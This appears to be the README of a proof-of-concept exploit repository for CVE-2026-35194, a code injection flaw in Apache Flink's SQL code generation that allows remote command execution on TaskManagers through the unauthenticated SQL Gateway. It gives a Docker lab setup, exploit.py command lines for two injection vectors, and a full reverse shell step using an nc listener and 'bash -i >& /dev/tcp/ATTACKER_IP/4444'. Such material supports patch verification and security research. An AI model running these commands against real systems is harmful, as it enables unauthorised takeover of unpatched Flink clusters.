CVE-2026-35194 — Apache Flink SQL Code Injection

Esecuzione di codice in remoto sui TaskManager di Apache Flink tramite injection nella generazione di codice SQL.

CVE	CVE-2026-35194
CVSS	8.1 (High)
CWE	CWE-94 — Code Injection
Affected	Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0
Fixed	1.20.4 / 2.0.2 / 2.1.2 / 2.2.1
Attack Surface	SQL Gateway REST API (default port 8083, no auth)

Quick Start

1. Deploy Vulnerable Lab

docker compose up -d

Attendere ~30s per l'avvio del cluster. Vengono avviati due servizi:

• Flink Web UI — http://localhost:8081
• SQL Gateway REST API — http://localhost:8083

Verifica:

curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"

2. Install Dependencies

pip install requests

3. Exploit

JSON vector:

python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"

LIKE vector:

python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"

Version check only (no RCE):

python3 exploit.py localhost -p 8083 --check-only

Verify RCE on TaskManager:

docker exec flink-taskmanager cat /tmp/pwned

4. Reverse Shell

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Usage

usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
                  [--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
                  target

Options:
  target              Target host (IP or hostname)
  -p, --port          SQL Gateway port (default: 8083)
  -c, --command       Shell command to run on TaskManager
  -v, --vector        json (default) or like
  --check-only        Version check only, no exploit
  -t, --timeout       Request timeout in seconds (default: 30)
  --cert / --key      Client cert + key for mTLS environments
  --ssl               Force HTTPS

Disclaimer

Solo per ricerca di sicurezza autorizzata e scopi educativi.